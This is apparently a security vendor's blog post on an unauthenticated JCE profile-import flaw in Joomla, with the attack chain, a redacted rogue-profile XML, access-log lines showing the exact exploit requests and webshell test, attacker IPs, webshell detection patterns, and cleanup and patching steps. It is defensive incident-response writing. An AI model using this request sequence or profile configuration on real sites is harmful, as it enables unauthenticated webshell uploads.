&lt;li&gt;The attack itself abuses the unauthenticated editor profile upload patched in &lt;strong&gt;JCE 2.9.99.5&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;CVE-2026-48907&lt;/a&gt;): import a rogue profile that allows &lt;strong&gt;php and txt uploads&lt;/strong&gt;, then use it to drop a &lt;strong&gt;webshell&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;It started with three sites in one portfolio. We have since seen hundreds, and with working exploit code for CVE-2026-48907 published on GitHub on 9 June, we expect thousands over the coming days. One compromised site is rarely the only one&lt;/li&gt;
&lt;li&gt;To find every install still on a vulnerable build, pair the check with the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;mySites.guru extension search&lt;/a&gt; and patch them in one batch with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Removing the files without updating JCE invites reinfection: &lt;strong&gt;patch the entry point&lt;/strong&gt;, do not just clean up after it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Watch: check and clean a JCE-hacked Joomla site&lt;/h2&gt;
&lt;p&gt;Basic Joomla Tutorials walks through spotting the JCE Profiles hack and cleaning it up with mySites.guru.&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;p&gt;Tim Davis publishes clear, no-nonsense Joomla guides on his &lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; channel. If you run Joomla, it is well worth a subscribe.&lt;/p&gt;
&lt;h2&gt;The new tool: Check for JCE Rogue Profiles &amp;amp; Backdoors&lt;/h2&gt;
&lt;p&gt;Everything in the manual cleanup further down this post (the database query, the file hunt across &lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt; and &lt;code&gt;images&lt;/code&gt;, the careful &quot;is this profile rogue or just permissive&quot; judgement) is work that does not get done by hand at scale, repeated for every site you manage. So we built it into mySites.guru as a dedicated check.&lt;/p&gt;
&lt;p&gt;It runs on every snapshot, so it is already looking at your connected Joomla sites twice a day. On the site health view it sits in its own &lt;strong&gt;Hacked?&lt;/strong&gt; section, with a single OK on a clean site or a red count of threats on a compromised one.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;When a site is flagged, the whole snapshot leads with a red &quot;This site has been flagged as hacked&quot; banner, and the check shows the threat count, eleven on this site, with an Investigate button to drill in.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;What it actually checks&lt;/h3&gt;
&lt;p&gt;The check looks for the fingerprints of this specific attack, in the specific places it leaves them, rather than scanning your whole site (that is the job of the separate suspect content audit). It looks at three things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The JCE profiles table.&lt;/strong&gt; It flags editor profiles that carry the attacker signature: a machine-generated name matching &lt;code&gt;J&lt;/code&gt; followed by six digits (&lt;code&gt;J940401&lt;/code&gt;), labels such as &lt;code&gt;Pwned&lt;/code&gt; with a description of &lt;code&gt;RCE via JCE&lt;/code&gt;, a large negative ordering that forces the profile to the top, or upload filetypes that allow &lt;code&gt;php&lt;/code&gt; or &lt;code&gt;phtml&lt;/code&gt;. Crucially, a profile that merely has &lt;code&gt;allow_php&lt;/code&gt; enabled is &lt;strong&gt;not&lt;/strong&gt; flagged, because that setting governs PHP inside article content, not file uploads. The discriminator is whether the profile lets you upload a script file, which is what makes the attack work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malicious profile imports.&lt;/strong&gt; The rogue profile is usually dropped as an &lt;code&gt;.xml&lt;/code&gt; file in a writable directory before it is imported. The check looks for those import files in the known drop locations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dropped backdoors.&lt;/strong&gt; It checks the exact locations this kit uses (&lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;images&lt;/code&gt;, &lt;code&gt;media/system/js&lt;/code&gt;, &lt;code&gt;libraries/joomla&lt;/code&gt;) for hidden &lt;code&gt;.xml.php&lt;/code&gt; droppers, &lt;code&gt;eval(gzinflate(base64_decode(...)))&lt;/code&gt; webshells, &lt;code&gt;shell_exec&lt;/code&gt; command shells, and &lt;code&gt;Nxploited&lt;/code&gt; marker files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When it finds something, Investigate lists every rogue profile (with the reason each one was flagged) and every malicious file (with its path and why it matched), so you can see exactly what is there before you touch anything. Here it is on a compromised site, showing both kits&apos; signatures side by side: the &lt;code&gt;J940401&lt;/code&gt; machine-generated name and the &lt;code&gt;Pwned&lt;/code&gt; labels from earlier, plus eight malicious files spanning the hidden &lt;code&gt;.xml.php&lt;/code&gt; droppers, the &lt;code&gt;eval(gzinflate(base64_decode))&lt;/code&gt; and &lt;code&gt;shell_exec($_POST)&lt;/code&gt; webshells, the &lt;code&gt;Nxploited&lt;/code&gt; markers, and the profile import &lt;code&gt;.xml&lt;/code&gt; itself, each with a plain-English reason it was flagged.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;From the same screen you can remove the rogue profiles, delete the backdoor files, and, on Joomla 4, 5 and 6, upgrade JCE to the patched version through Joomla&apos;s own updater to close the entry point. The deletions are permanent and mySites.guru does not keep a backup, so the tool lists everything first, warns you before it acts, and asks you to take your own copy of anything you want for evidence.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;It is deliberately scoped to this attack. The file list it shows is the JCE-specific set, not a full backdoor sweep, and it says so: if you want to scan the whole site for malicious files, that is a one-click link through to a full audit.&lt;/p&gt;
&lt;p&gt;When a site is clean, which is the common case, the check just confirms it.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Think you are too big, or too careful, to be hit?&lt;/h2&gt;
&lt;p&gt;If you are tempted to assume this only happens to neglected sites run by people who do not patch, look at what it did to the most prominent Joomla sites there are. The hack did not stop at one property. The official Joomla Extensions Directory, &lt;strong&gt;extensions.joomla.org&lt;/strong&gt;, the place every Joomla administrator goes to find and install extensions, was taken down and replaced with a bare &quot;503 Maintenance&quot; holding page. So were &lt;strong&gt;community.joomla.org&lt;/strong&gt; and &lt;strong&gt;certification.joomla.org&lt;/strong&gt;. Three of the Joomla project&apos;s own flagship sites, all serving the same maintenance page at the same time.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Sit with that for a second. These are not hobbyists&apos; abandoned brochure sites. They are flagship properties run by the Joomla project itself, maintained by people who know Joomla security better than almost anyone, on infrastructure that is watched closely. JCE is one of the most-installed editors in the Joomla world, so any site running it was about as exposed to this attack as a site could be, and exposure plus an unauthenticated, fully automated exploit is all it takes. The botnet spraying this exploit does not check who owns a site or how competent its administrators are before it fires. It finds a reachable JCE install, imports the rogue profile, drops the shell, and moves on, and a 503 maintenance page is what the cleanup looks like from the outside.&lt;/p&gt;
&lt;p&gt;The lesson for everyone managing Joomla sites is blunt. &quot;My sites are well looked after&quot; and &quot;I would have noticed&quot; are not the protection they feel like, because this needs no login, leaves no failed-login trail, and lands on every reachable install at once. If the Joomla project&apos;s own extensions directory, community site, and certification site can all be taken offline by it at once, the handful of older Joomla sites sitting quietly in your portfolio absolutely can be too. The only thing that actually protects a site is the JCE version it is running, and the only way to know that across a whole portfolio without logging into every administrator panel by hand is to have something watching all of them for you. That is exactly the gap the check in this post closes.&lt;/p&gt;
&lt;h2&gt;How the JCE profiles attack works&lt;/h2&gt;
&lt;p&gt;JCE&apos;s defining feature is its Editor Profiles system. Rather than handing every logged-in user the same editor, JCE lets an administrator define different profiles for different user groups. A registered user might get a stripped-down toolbar with no file uploads. A content editor might get image and file managers scoped to one media directory. A super user gets the full editor with broad file operations.&lt;/p&gt;
&lt;p&gt;Each profile defines, among other things, which file types may be uploaded and into which directories. A profile is, in effect, a set of filesystem permissions wearing an editor&apos;s clothes. Control the profile and you control what file operations JCE will carry out.&lt;/p&gt;
&lt;p&gt;The flaw patched in 2.9.99.5 was an access control gap on the action that imports an editor profile: before the patch, an unauthenticated request could reach it. Put the two facts together and the attack writes itself. If an anonymous actor can upload a profile, and a profile dictates which file types may be uploaded, the attacker imports a profile permissive enough to allow a PHP upload, then uses it to upload a webshell. That is the chain the &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5 advisory&lt;/a&gt; points at with &quot;upload arbitrary files to the server,&quot; and it is the chain we saw land.&lt;/p&gt;
&lt;h3&gt;What it looked like on disk&lt;/h3&gt;
&lt;p&gt;The clearest tell was the rogue profile itself, delivered as a JCE profile import file. Stripped down and with the dangerous values redacted, it looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;jce&amp;gt;
  &amp;lt;profiles&amp;gt;
    &amp;lt;profile&amp;gt;
      &amp;lt;!-- machine-generated, e.g. a letter plus six digits --&amp;gt;
      &amp;lt;name&amp;gt;[redacted]&amp;lt;/name&amp;gt;
      &amp;lt;published&amp;gt;1&amp;lt;/published&amp;gt;
      &amp;lt;!-- forced to the top so it takes precedence --&amp;gt;
      &amp;lt;ordering&amp;gt;-99999&amp;lt;/ordering&amp;gt;
      &amp;lt;!-- area 0 applies to all users... --&amp;gt;
      &amp;lt;area&amp;gt;0&amp;lt;/area&amp;gt;
      &amp;lt;!-- ...and type 1 is the Public group, i.e. anonymous visitors --&amp;gt;
      &amp;lt;types&amp;gt;1,8&amp;lt;/types&amp;gt;
      &amp;lt;!-- the file browser plugin is enabled --&amp;gt;
      &amp;lt;plugins&amp;gt;browser,image,media,link,file&amp;lt;/plugins&amp;gt;
      &amp;lt;params&amp;gt;&amp;lt;![CDATA[{
        &quot;browser&quot;: {
          &quot;filetypes&quot;: {
            &quot;images&quot;: &quot;jpg,jpeg,png,gif&quot;,
            &quot;_comment&quot;: &quot;php is in the upload allow-list&quot;,
            &quot;files&quot;: &quot;php,txt,...&quot;
          },
          &quot;upload&quot;: {
            &quot;_comment&quot;: &quot;mime checking switched off&quot;,
            &quot;validate_mimetype&quot;: &quot;0&quot;
          }
        }
      }]]&amp;gt;&amp;lt;/params&amp;gt;
    &amp;lt;/profile&amp;gt;
  &amp;lt;/profiles&amp;gt;
&amp;lt;/jce&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is configured the way an attacker would configure it and no legitimate site ever would. Four lines do all the damage: the &lt;strong&gt;ordering of -99999&lt;/strong&gt; forces it to the top of the profile list; the &lt;strong&gt;area of 0&lt;/strong&gt; with the &lt;strong&gt;Public type&lt;/strong&gt; applies it to anonymous visitors; the &lt;strong&gt;&lt;code&gt;file&lt;/code&gt; plugin&lt;/strong&gt; turns the upload browser on; and the &lt;strong&gt;upload filetypes include &lt;code&gt;php&lt;/code&gt;&lt;/strong&gt; with &lt;strong&gt;mime validation switched off&lt;/strong&gt;, where a normal profile restricts uploads to images and documents.&lt;/p&gt;
&lt;p&gt;That filetypes line is the whole game. A profile that lets you upload a &lt;code&gt;.php&lt;/code&gt; file through the JCE file browser is a profile that lets you upload a webshell. (The full payload is deliberately redacted here. There is no reason to publish a working copy.) On this first site the profile carried a machine-generated name, &lt;code&gt;J940401&lt;/code&gt;, a throwaway label no human editor would ever type. That name turned out to be a pattern: across the sites we have looked at since, this particular kit names every profile it imports with a capital &lt;code&gt;J&lt;/code&gt; followed by six digits, &lt;code&gt;J938560&lt;/code&gt;, &lt;code&gt;J991471&lt;/code&gt;, &lt;code&gt;J940401&lt;/code&gt;, and so on. If you manage Joomla sites, &quot;any JCE profile whose name starts with &lt;code&gt;J&lt;/code&gt; and is followed by digits&quot; is a fast, specific thing to grep your databases for.&lt;/p&gt;
&lt;p&gt;Alongside it were the webshells the profile was used to drop. A short PHP file that ran shell commands straight from a request parameter, the classic one-line backdoor wrapped in &lt;code&gt;eval(gzinflate(base64_decode(...)))&lt;/code&gt; so it does not read as obvious code at a glance. Then several copies of a second backdoor hidden behind innocuous &lt;code&gt;.xml.php&lt;/code&gt; filenames, planted inside legitimate directories like &lt;code&gt;media/system/js&lt;/code&gt; and &lt;code&gt;libraries/joomla&lt;/code&gt; where an extra file is easy to miss. And a scatter of small marker text files, the sort automated kits drop to fingerprint a successful hit and find their way back to it later.&lt;/p&gt;
&lt;p&gt;None of this required a login. That is the part worth sitting with. The site had no public registration to speak of, and it did not matter, because the entry point was an unauthenticated profile import, not a user account.&lt;/p&gt;
&lt;h3&gt;One vulnerable site rarely travels alone&lt;/h3&gt;
&lt;p&gt;The single site is where we started, not where it ended. Once we knew the fingerprint, we swept the rest of the Joomla sites in that portfolio, and the same attack was sitting live on two more of them. Same mechanism, same upload-everything profile, but a different kit this time, and this one did not bother to hide. Each affected site carried three of them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Pwned&lt;/code&gt;, description &lt;code&gt;RCE via JCE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pwned (2)&lt;/code&gt;, description &lt;code&gt;RCE via JCE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pwned (3)&lt;/code&gt;, description &lt;code&gt;RCE via JCE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;with the upload extensions list padded out to &lt;code&gt;php,phtml&lt;/code&gt;. Put that next to the &lt;code&gt;J940401&lt;/code&gt; profile on the first site and you are looking at two different toolkits doing the same thing. Whoever ran these was not doing it by hand. The throwaway names, the repetition, and the identical config across unrelated sites all point at automated tooling spraying the same profile import at every JCE install it can reach.&lt;/p&gt;
&lt;p&gt;That portfolio was just where we started. As the check has rolled out across more connected sites, the count has climbed into the hundreds, and the shape of it (automated tooling spraying the same exploit at every JCE install it can reach) is the same shape that took the 2012 ImageManager bug to tens of thousands of sites. It got worse on 9 June, when working exploit code for CVE-2026-48907 was published openly on GitHub. Until then, every attack we logged came from someone&apos;s private toolkit. Now the exploit is a download away for anyone, and the 2012 pattern says that is the point where the long tail of un-updated installs really starts getting swept. We fully expect this to reach the thousands over the coming days.&lt;/p&gt;
&lt;p&gt;That is why this is not a single-site story. If one of your sites is running a vulnerable JCE, the others running the same build are not safe by virtue of being a different site. They are simply ones the scanner has not got to yet, or has, and you have not looked.&lt;/p&gt;
&lt;h3&gt;What it looked like in the access logs&lt;/h3&gt;
&lt;p&gt;The profiles on disk tell you what was installed. The web server logs tell you how it got there, and they are blunt about it. The Apache logs on this site had been dead since 2024, but nginx was fronting the site and had captured everything. Across two days we counted three different attacker IPs, all running the identical exploit: a &lt;code&gt;profiles.import&lt;/code&gt; request to create the rogue profile, immediately followed by a &lt;code&gt;plugin.rpc&lt;/code&gt; upload to drop the shell through it.&lt;/p&gt;
&lt;p&gt;The core of the chain is two requests, back to back, and it is unmistakable once you have seen it once (the host is redacted; the attacker IPs are left in so you can block them):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. Create the rogue editor profile (unauthenticated, CVE-2026-48907)
107.149.130.5 - POST /index.php?option=com_jce&amp;amp;task=profiles.import          200   &amp;lt;- creates the &quot;Pwned&quot; profile
# 2. Use that profile to upload the webshell via the file browser plugin
107.149.130.5 - POST /index.php?option=com_jce&amp;amp;task=plugin.rpc&amp;amp;plugin=browser&amp;amp;method=upload&amp;amp;id=RCEc37&amp;amp;name=m.php&amp;amp;...   200   &amp;lt;- uploads shell
# 3. Confirm the shell runs
107.149.130.5 - GET  /m.php?cmd=id                                           404   &amp;lt;- wrong path, first guess
107.149.130.5 - GET  /images/m.php?cmd=id                                    200   &amp;lt;- shell confirmed working
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three things in there are worth pinning down, because they are what you grep for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The two-request signature.&lt;/strong&gt; A &lt;code&gt;task=profiles.import&lt;/code&gt; POST followed within the same second by a &lt;code&gt;task=plugin.rpc&amp;amp;...&amp;amp;method=upload&lt;/code&gt; POST is the attack, near enough verbatim. The &lt;code&gt;id=RCExxx&lt;/code&gt; parameter (&lt;code&gt;RCEc37&lt;/code&gt;, &lt;code&gt;RCE401&lt;/code&gt;, &lt;code&gt;RCE770&lt;/code&gt; across the IPs we saw) is the attacker&apos;s own literal marker, baked into the toolkit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Every upload returned &lt;code&gt;200&lt;/code&gt;.&lt;/strong&gt; The exploit succeeded on each attempt, because JCE was unpatched. There was no failed-then-retry pattern to give anyone breathing room.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Three distinct source IPs, two days apart.&lt;/strong&gt; Two of them sent a &lt;code&gt;python-requests&lt;/code&gt; user agent, one came through as a browser. Different IPs, same payload, same &lt;code&gt;id=RCE...&lt;/code&gt; marker. That is a botnet spraying a published exploit, not one person targeting one site. The IPs we logged were &lt;code&gt;107.149.130.5&lt;/code&gt;, &lt;code&gt;92.38.150.143&lt;/code&gt;, and &lt;code&gt;45.153.129.241&lt;/code&gt;, and the second one alternated between hitting the site by raw IP and by hostname, so the requests carried both a bare-IP and a hostname &lt;code&gt;Referer&lt;/code&gt;. Block the lot at your firewall, but treat them as a sample, not the whole set.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of this needed a session cookie. Every one of those requests is unauthenticated, which is the entire point of CVE-2026-48907 and the reason &quot;we have no public registration&quot; buys you nothing here. If you keep nginx or Apache access logs, a search for &lt;code&gt;task=profiles.import&lt;/code&gt; and &lt;code&gt;method=upload&lt;/code&gt; across them will tell you fast whether anyone tried this on your sites, and whether they got a &lt;code&gt;200&lt;/code&gt; back when they did.&lt;/p&gt;
&lt;h2&gt;Telling a malicious profile from a merely permissive one&lt;/h2&gt;
&lt;p&gt;This is where a naive &quot;scan for scary settings&quot; sweep produces noise, because not every permissive profile is an attack.&lt;/p&gt;
&lt;p&gt;JCE profiles have an &lt;code&gt;allow_php&lt;/code&gt; setting. It is tempting to treat any profile with &lt;code&gt;allow_php&lt;/code&gt; enabled as a smoking gun. It is not. &lt;code&gt;allow_php&lt;/code&gt; governs whether PHP is allowed to survive inside &lt;strong&gt;article content&lt;/strong&gt;, not whether files can be uploaded. Plenty of legitimate, developer-built profiles have it on because the site&apos;s templates or content genuinely use inline PHP. On the very site we investigated, the real, developer-created working profile had &lt;code&gt;allow_php&lt;/code&gt; enabled and referenced the site&apos;s own template CSS. It was entirely legitimate.&lt;/p&gt;
&lt;p&gt;The attacker signature is different, and it is about &lt;strong&gt;uploads&lt;/strong&gt;, not content:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Legitimate profile&lt;/th&gt;
&lt;th&gt;Rogue profile&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Name&lt;/td&gt;
&lt;td&gt;Descriptive (Default, Lightweight, Editors)&lt;/td&gt;
&lt;td&gt;Machine-generated, e.g. &lt;code&gt;J&lt;/code&gt; plus six digits (&lt;code&gt;J938560&lt;/code&gt;) or names like &lt;code&gt;Pwned&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ordering&lt;/td&gt;
&lt;td&gt;Normal positive value&lt;/td&gt;
&lt;td&gt;Large negative, forced to the top&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upload filetypes&lt;/td&gt;
&lt;td&gt;Images and documents only&lt;/td&gt;
&lt;td&gt;Includes &lt;code&gt;php&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;, or &lt;code&gt;phtml&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How it got there&lt;/td&gt;
&lt;td&gt;Created by the site&apos;s developer&lt;/td&gt;
&lt;td&gt;Imported, often with no matching admin action in the logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;allow_php&lt;/code&gt; in content&lt;/td&gt;
&lt;td&gt;May be on for legitimate reasons&lt;/td&gt;
&lt;td&gt;Irrelevant to the attack&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Judge a profile by what it lets you &lt;strong&gt;upload&lt;/strong&gt; and by whether anyone on your team actually created it. A profile whose upload filetypes include a script extension is the one to act on, whatever its &lt;code&gt;allow_php&lt;/code&gt; setting says.&lt;/p&gt;
&lt;h2&gt;A note on JCE&apos;s history with file uploads&lt;/h2&gt;
&lt;p&gt;There is a reason an unauthenticated file upload in JCE specifically should make you move quickly, and it predates this year&apos;s bug by well over a decade.&lt;/p&gt;
&lt;p&gt;Back in 2012, an unauthenticated arbitrary file upload in JCE&apos;s ImageManager (tracked as CVE-2012-2902) became one of the most widely exploited Joomla vulnerabilities of its era. Automated bots scanned the internet for vulnerable JCE installs, uploaded an innocuous-looking image, then renamed it to a &lt;code&gt;.php&lt;/code&gt; extension to drop a web shell. Security vendors including Sucuri and Trustwave documented the campaign, it shipped as a ready-made Metasploit module, and sites were still being compromised through it years after the patch existed, purely because so many were never updated.&lt;/p&gt;
&lt;p&gt;The 2026 profiles flaw is a separate, newly patched issue. But the shape rhymes exactly: an unauthenticated JCE file-upload path, a long tail of installs nobody updated, and automated tooling that does not care which site it lands on. The 2012 bug got its ready-made Metasploit module; this one got public exploit code on GitHub on 9 June. The single instance we found this week is what that pattern looks like when it reaches one site. The history is what it looks like when it reaches thousands.&lt;/p&gt;
&lt;h2&gt;Finding every site still running a vulnerable JCE&lt;/h2&gt;
&lt;p&gt;The hard case is the one that matters: &quot;I look after 40 client Joomla sites, one of them just got hit through an old JCE, and I need to know which of the others are still vulnerable, right now.&quot;&lt;/p&gt;
&lt;p&gt;That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the &quot;which sites are on a vulnerable JCE&quot; question in seconds instead of logging into 40 administrator panels in sequence.&lt;/p&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; in your dashboard and look up the &lt;strong&gt;Editor - JCE&lt;/strong&gt; entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything on 2.9.99.4 or earlier carries the profile upload flaw and needs the update. Sites already on 2.9.99.5 or later, or which auto-updated overnight, are green, though the current recommended target is 2.9.99.10.&lt;/p&gt;
&lt;p&gt;You can also separate JCE Free from JCE Pro if you run a mixed estate, which matters when you start chasing the stragglers, because Pro updates are gated by a subscription key and lapsed keys are the usual reason a site sits silently on an old version.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: jump straight to the JCE inventory&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f02a3f0cd799f8a68b2e207ecf0da3a4&quot;&gt;Open JCE Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.4 or earlier needs the patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Patch the vulnerable sites in one batch&lt;/h2&gt;
&lt;p&gt;Once you know which sites are exposed, you do not patch them one by one. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt; lets you select every site running an outdated JCE and trigger the update across all of them at once, straight to 2.9.99.8.&lt;/p&gt;
&lt;p&gt;The mass update screen groups every JCE install by the version it can update to, with an &quot;Apply to all&quot; button per group and per-site controls when you want to be selective. Sites stuck on much older branches get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site&apos;s connector, pulls the package from JCE&apos;s update server, installs it, and reports back with a pass or fail per site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.&lt;/p&gt;
&lt;p&gt;For agencies running &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled automation&lt;/a&gt;, JCE updates can be enrolled in the same overnight extension auto-update flow as everything else. The &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; feature already covers JCE Free and JCE Pro, which means a site enrolled before this all kicked off was patched before anyone had to think about it.&lt;/p&gt;
&lt;h3&gt;For sites that genuinely cannot update: the free patch&lt;/h3&gt;
&lt;p&gt;The current JCE releases need PHP 7.4 and Joomla 3.9 or later, and you will have a handful of long-tail sites that cannot meet that yet. For those, the JCE developer has released a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; that closes this vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. JCE 2.6.x is not affected in a default configuration, because the unauthenticated profile import path is blocked and no guest-accessible profile exists by default, though it is unsupported and should still be migrated.&lt;/p&gt;
&lt;p&gt;Treat the patch as a stopgap, not a fix. It closes the vulnerability only, without the broader hardening in the 2.9.99.6 and later releases, it is provided as-is, and it does not clean a site that was already compromised, so still work through the checks below. Back up and test on a copy first. End-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless, so the patch buys time to migrate, nothing more. Where a site can reach 2.9.99.8, update it rather than patch it.&lt;/p&gt;
&lt;h2&gt;Cleaning up a hacked site, step by step&lt;/h2&gt;
&lt;p&gt;Patching closes the door. On older or higher-risk sites, or any site you have reason to suspect, you also want to check whether anyone already walked through it. The profiles attack leaves a fingerprint you can hunt for, precisely because the malicious request needs no session.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Audit the editor profiles.&lt;/strong&gt; Under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Editor Profiles&lt;/strong&gt; on each site, look for any profile your team did not create, especially one with a machine-generated name, a forced ordering, or upload filetypes that include a script extension. The kits we have seen leave an obvious tell here: profile names like &lt;code&gt;J&lt;/code&gt; followed by six digits, or names such as &lt;code&gt;Pwned&lt;/code&gt; with a description of &lt;code&gt;RCE via JCE&lt;/code&gt;. If you would rather query the database directly, the JCE profiles live in the &lt;code&gt;#__wf_profiles&lt;/code&gt; table, so a &lt;code&gt;SELECT id, name FROM &amp;lt;prefix&amp;gt;_wf_profiles WHERE name REGEXP &apos;^J[0-9]{6}$&apos;&lt;/code&gt; across each site is a quick way to flush them out. Take a copy before you delete anything.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look for files you did not put there.&lt;/strong&gt; Check &lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt;, &lt;code&gt;images&lt;/code&gt;, and any custom upload roots for PHP files, hidden &lt;code&gt;.xml.php&lt;/code&gt; files, and stray marker text files, especially anything with a recent timestamp that does not match a known change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pull the access logs.&lt;/strong&gt; Grep nginx or Apache access logs for &lt;code&gt;task=profiles.import&lt;/code&gt; and &lt;code&gt;method=upload&lt;/code&gt; requests, the &lt;a href=&quot;#what-it-looked-like-in-the-access-logs&quot;&gt;two-request signature shown above&lt;/a&gt;. Unauthenticated requests to those actions, especially a pair within the same second that both returned &lt;code&gt;200&lt;/code&gt;, are the ones that matter. Remember the Apache logs may be stale if nginx fronts the site, check both.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Step one is the most telling. Here is what it looks like in Joomla&apos;s own Editor Profiles list on a compromised site: the legitimate &lt;code&gt;Default&lt;/code&gt; profile, and then the rogue &lt;code&gt;J940401&lt;/code&gt;, &lt;code&gt;Pwned&lt;/code&gt;, and &lt;code&gt;Pwned (2)&lt;/code&gt; profiles sitting right beside it, the last two labelled &lt;code&gt;RCE via JCE&lt;/code&gt; by whoever dropped them.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Doing this by hand across a portfolio is exactly the kind of work that does not happen, which is why automating it matters. Run mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; across your sites to surface webshells and modified files, and lean on &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; to triage anything it flags rather than eyeballing obfuscated PHP one file at a time.&lt;/p&gt;
&lt;p&gt;If you do find a live compromise, the order of operations matters. Preserve a copy of the rogue profile and the suspect files for evidence, then remove the profile and the webshells, &lt;strong&gt;update JCE to 2.9.99.8 so the entry point is closed&lt;/strong&gt;, rotate Joomla secrets and admin passwords, invalidate active sessions, and run a full scan to confirm nothing else was left behind. Our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;guide to fixing a hacked Joomla or WordPress site&lt;/a&gt; walks through the full recovery. The one mistake to avoid is deleting the files and calling it done: if JCE is still on a vulnerable version, the same automated tooling will be back, and the marker files exist precisely so it can find the site again.&lt;/p&gt;
